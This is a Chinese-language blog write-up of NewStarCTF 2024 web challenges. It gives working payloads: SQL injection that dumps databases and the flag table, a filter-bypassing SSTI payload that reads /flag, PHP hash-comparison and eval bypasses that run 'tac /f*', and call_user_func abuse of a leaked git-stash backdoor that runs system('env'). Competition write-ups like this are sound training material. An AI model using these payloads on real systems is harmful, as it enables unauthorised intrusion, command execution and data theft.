newstarctf2024

WEEK1

headach3

签到题

会赢吗

第一关在源代码里

第二关看js

进入题目所给的路径,貌似要用控制台输入js操作?

第三关还是要看js

看js的意思是读前端的内容,我们把前端的已封印改为解封,然后点击button

第四关还是js

注意红圈,如果我们禁用了js,将执行红圈里的内容而忽略上面的

拼接到一起base64解码即可

智械危机

robots.txt查看后门
源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

function execute_cmd($cmd) {
system($cmd);
}

function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key);
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
?>

看起来复杂,实际上很简单,在本地上实验几遍就是到规律了

谢谢皮蛋

简单的sql注入题,没有任何过滤
爆库

1
2
-1 union select 1,group_concat(schema_name) from information_schema.schemata#
//information_schema,performance_schema,mysql,ctf

爆表

1
2
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf'#
//Fl4g,hexo

爆字段

1
2
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g'#
//id,des,value

爆值

1
2
-1 union select 1,group_concat(id,0x7e,des,0x7e,value) from ctf.Fl4g#
//5555~C0ngratu1ati0ns!~flag{ed3ecb9c-87f2-4dce-b31f-6343b35779ca}

PangBai 过家家(1)

第一关

看到标头有一个路径,url添加这个路径就可到达第二关

第二关是get传入一个参数

1
?ask=miao

第三关post传入参数

1
say=hello

第四关

1
PangBai 回应了呢!可只有 Papa 的话语才能让她感到安心。 代理人(Agent),这个委托你就接了吧!

应该是要改UA头,但不能全改,有些题是能全改的但不知道这题是为什么

第五关

把say参数值改为玛卡巴卡阿卡哇卡米卡玛卡呣

随意传入zip文件即可

第六关

加一个XFF头即可
这样就获得了密钥

这样我们就可以拿着密钥去jwt.io去伪造一个jwt了
flag在第0关,改为0即可

WEEK2

你能在一秒内打出八句英文吗

如题,需要写个脚本
他把查看源代码禁用了,但是我们可以关闭js来查看源代码实现我们脚本的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import re
import requests

url ='http://eci-2zeefa47o1tdhsxtfgf5.cloudeci1.ichunqiu.com/start'
data={
"user_input":"1"
}
res2=requests.session()

while 1:
res= res2.get(url=url)
regex = r'<p id="text">(.*?)<\/p>'
matches = re.findall(regex, res.text)
matches = str(matches)
matches=matches.replace('[','').replace('\'','').replace(']','')
print(matches)
url1='http://eci-2zeefa47o1tdhsxtfgf5.cloudeci1.ichunqiu.com/submit'
data["user_input"]=matches
res1=res2.post(url=url1,data=data)
print(res1.text)
break

遗失的拉链

www.zip下载源码
pizwww.php存在漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//欸 为啥sha1和md5相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";

}
}

payload

1
2
?new[]=1
star[]=2&cmd=print_r(`tac /f*`);

谢谢皮蛋 plus

设了几个黑名单貌似,已知and和空格被禁用了,双写和大小写都无法绕过,但不影响做题
爆库

1
2
-1"/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata#
//

爆表

1
2
-1"/**/union/**/select/**/1,group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema='ctf'#
//Fl4g,hexo

爆字段

1
2
-1"/**/union/**/select/**/1,group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='Fl4g'#
//id,des,value

爆值

1
2
-1"/**/union/**/select/**/1,group_concat(id,0x7e,des,0x7e,value)/**/from/**/ctf.Fl4g#
//5555~Y0u are the master 0f bypass1ng~flag{7f6a6763-3bcd-4bc0-9a5a-2e01b7dd7be4}

复读机

经典ssti,这题过滤了class,但可以通过拼接绕过
payload

1
user_input={{""['__cl'+'ass__'].__bases__[0]["__subcl"+"asses__"]()[221].__init__.__globals__.__builtins__['open']('/flag').read()}}

PangBai 过家家(2)


提示我们有后门
用dirsearch扫扫
发现存在git泄露

用githacker把git拉下来

检查.git
在.git/log/refs/stash下发现线索

1
0000000000000000000000000000000000000000 218794454cba0606a3d68175bbd46c198b7469ca NewStarCTF 2024 <newstar@openctf.net> 1727085801 +0000	On main: Backdoor

经过查阅
.git/logs/refs/stash 是一个 Git 日志文件,专门用于记录与 stash 相关的操作。它记录了你在项目中每次使用 git stash(隐藏或存储未提交的更改)时的历史信息
可以用git stash list
git stash list 会列出所有 stash 的记录,包括每次 stash 的简要信息、保存的分支以及提交信息。它相当于读取 .git/logs/refs/stash 文件的内容。

也可以用git show
通过 git show 来查看某个 stash 的详细内容(即保存的更改)。

或者用git stash apply
使用 git stash apply 或 git stash pop 恢复特定的 stash。这可以帮助你测试某个 stash 并查看更改的影响。

1
git stash apply stash@{0}


可以看到多了两个文件
BacKd0or.v2d23AOPpDfEW5Ca.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

# Functions to handle HTML output

function print_msg($msg) {
$content = file_get_contents('index.html');
$content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
$content = preg_replace('/ event/', '', $content);
$content = str_replace('点击此处载入存档', $msg, $content);
echo $content;
}

function show_backdoor() {
$content = file_get_contents('index.html');
$content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);
echo $content;
}

# Backdoor

if ($_POST['papa'] !== 'TfflxoU0ry7c') {
show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
print_msg('PangBai loves you!');
call_user_func($_POST['func'], $_POST['args']);
} else {
print_msg('PangBai hates you!');
}

可以利用的函数是call_user_func,它可以帮助我们命令执行
payload

1
2
?NewStar[CTF.2024=Welcome%0a
papa=TfflxoU0ry7c&func=system&args=env


newstarctf2024
http://example.com/2024/10/07/newstarctf2024/
作者
奇怪的奇怪
发布于
2024年10月7日
许可协议